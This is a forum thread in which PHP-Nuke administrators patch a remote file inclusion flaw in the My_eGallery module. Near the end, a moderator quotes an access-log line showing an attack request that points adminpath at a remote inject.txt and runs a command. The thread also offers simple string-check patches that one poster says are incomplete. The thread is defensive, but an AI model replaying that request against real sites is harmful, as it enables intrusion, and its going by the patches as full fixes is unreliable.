| Author |
Message |
Laffer
Corporal


Joined: Jun 03, 2003
Posts: 54
Location: France
|
Posted:
Fri Nov 28, 2003 12:31 pm |
  |
After analyzing the My_eGallery exploit, I found out, that the responsible module is /modules/My_eGallery/public/displayCategory.php
To fix quickly the issue insert in the second line after
<?php
the following code:
$bug = strpos($basepath,"http");
if ($bug === false) {
and at the end of the file before ?>
}
else {
echo "You are trying to hack our site! GO AWAY BASTARD!";
}
This will avoid that someone can inject php code from outside the Webserver! |
|
|
     |
 |
Johan1982
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22
|
Posted:
Fri Nov 28, 2003 4:06 pm |
  |
This fix prevents that the attacker take advantage of that bug of security?
Greetings and thanks |
|
|
   |
 |
Laffer
Corporal


Joined: Jun 03, 2003
Posts: 54
Location: France
|
Posted:
Sat Nov 29, 2003 12:49 am |
  |
Yes, it tests if someone injected a new value for $basepath contain http |
|
|
     |
 |
Johan1982
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22
|
Posted:
Sat Nov 29, 2003 10:21 pm |
  |
How we can verify it? in http://lottasophie.sourceforge.net a patch exists but for the version 3.1.1g, I believe that a patch for version 2.7.9 could be done based of the patch for the version 3.1.1g |
|
|
   |
 |
Laffer
Corporal


Joined: Jun 03, 2003
Posts: 54
Location: France
|
Posted:
Sun Nov 30, 2003 12:12 am |
  |
You want to have a 100% fix? Just replace the $basepath variable with the realpath in the first 2 lines starting with include (".....
Then it is 100% fixed for this vulnerability... |
|
|
     |
 |
Johan1982
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22
|
Posted:
Sun Nov 30, 2003 10:39 am |
  |
how?
| Code: |
include ("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php"); |
replace with:
| Code: |
include_once 'modules/My_eGallery/public/imageFunctions.php';
include_once 'modules/My_eGallery/fileFunctions.php'; |
It is well? |
|
|
   |
 |
Johan1982
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22
|
Posted:
Sun Nov 30, 2003 10:45 am |
  |
Or only replace the $basepath line with the real path? |
|
|
   |
 |
Laffer
Corporal


Joined: Jun 03, 2003
Posts: 54
Location: France
|
Posted:
Sun Nov 30, 2003 11:27 am |
  |
Exactly! Just put those 2 lines:
include ("modules/My_eGallery/public/imageFunctions.php");
include ("modules/My_eGallery/fileFunctions.php"); |
|
|
     |
 |
Johan1982
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22
|
Posted:
Sun Nov 30, 2003 11:34 am |
  |
Thanks, already I have done it and everything seems to march well But I have done it how have it in fix of 3.0.1g works truth also well? |
|
|
   |
 |
Johan1982
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22
|
Posted:
Sun Nov 30, 2003 11:41 am |
  |
| Code: |
include_once 'modules/My_eGallery/public/imageFunctions.php';
include_once 'admin/modules/gallery/fileFunctions.php'; |
and
| Code: |
include ("modules/My_eGallery/public/imageFunctions.php");
include ("admin/modules/gallery/fileFunctions.php"); |
It is the same?
I have modified this message, since I detected an error that it had there, but that already has been corrected, thanks johnnycard for the observation.
Only I have had left the doubt that I am raising to them in this message, I believe that I have it well. |
Last edited by Johan1982 on Sun Nov 30, 2003 5:31 pm; edited 2 times in total |
|
   |
 |
johnnycard
Corporal


Joined: May 29, 2003
Posts: 52
Location: UK
|
Posted:
Sun Nov 30, 2003 3:20 pm |
  |
The admin path on my version (2.7.9) differs, I had to replace the first 2 lines with... (note 2nd line for admin path)
| Code: |
include ("modules/My_eGallery/public/imageFunctions.php");
include ("admin/modules/gallery/fileFunctions.php"); |
Thanks Laffer, I hope this does the trick |
|
|
   |
 |
jn
Nuke Cadet


Joined: Dec 17, 2003
Posts: 1
|
Posted:
Wed Dec 17, 2003 3:11 am |
  |
I am the maintainer of MeG for PostNuke, and I am glad that I found this thread.
Please be aware that in the PHPNuke version of MeG the displayCategory.php is not the only file with that vulnerability! So I am not sure if you really got a 100% fixed version.
If anybody knows a maintainer of MeG for PHPNuke please let me know as I am searching someone to discuss the issues with.
Contact me by jnapp at users dot sf dot net
Jörg
http://lottasophie.sf.net |
|
|
   |
 |
Laffer
Corporal


Joined: Jun 03, 2003
Posts: 54
Location: France
|
Posted:
Wed Dec 17, 2003 3:50 am |
  |
Hello Joerg,
there is no official maintainer, but I will take the role to fix the Gallery, because I have a big site running MeG. We can talk german if you like (it seems you are german like me) and you can contact me by mail webmaster@comicfan.de |
|
|
     |
 |
Kliber
Corporal


Joined: Dec 22, 2003
Posts: 50
Location: Venezuela
|
Posted:
Sun Dec 28, 2003 4:27 pm |
  |
Im Running a Huge Gallery too; do you guys found the Fix for other file than displaycategory.php? |
|
|
     |
 |
hamesh
Support Mod


Joined: Feb 13, 2003
Posts: 170
Location: Canada
|
Posted:
Sun Jan 04, 2004 7:46 pm |
  |
The basepath bug is not the only hole. I found an executable file namd 4000 in my /modules/My_eGallery/public folder today. Tracing back the logs, I found the following:
| Code: |
| 203.130.195.89 - - [30/Dec/2003:05:57:27 -0700] "GET /modules/My_eGallery/public/displayCategory.php?adminpath=http://<truncated>/inject.txt?&cmd=ls HTTP/1.1" 200 385 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; FunWebProducts)" |
The execuble lauches some type of daemon. Not sure what it does. If someone at nukecops would like a copy of it and the inject.txt script, msg me and I'll send them to you - maybe you can figure out what they do.
I patched displayCategory.php in My_eGallery to block further hack attempts by modifying the original basepath fix by adding the following:
Top of displayCategory.php:
| Code: |
$bug = strpos($basepath,"http");
$bug2 = strpos($adminpath,"http");
if ($bug === false AND $bug2 === false) {
|
End of displayCategory.php:
| Code: |
else {
echo "Yeah, I don't think so dipshit...";
} |
As far as I can tell, by host's firewall blocked outgoing traffic on the as-yet unknown TCP or UDP port the script binds to, so luckily nothing in my database or site appears to have been changed. Anyone using My_eGallery should make this change post-haste. |
_________________
 |
|
       |
 |
|
|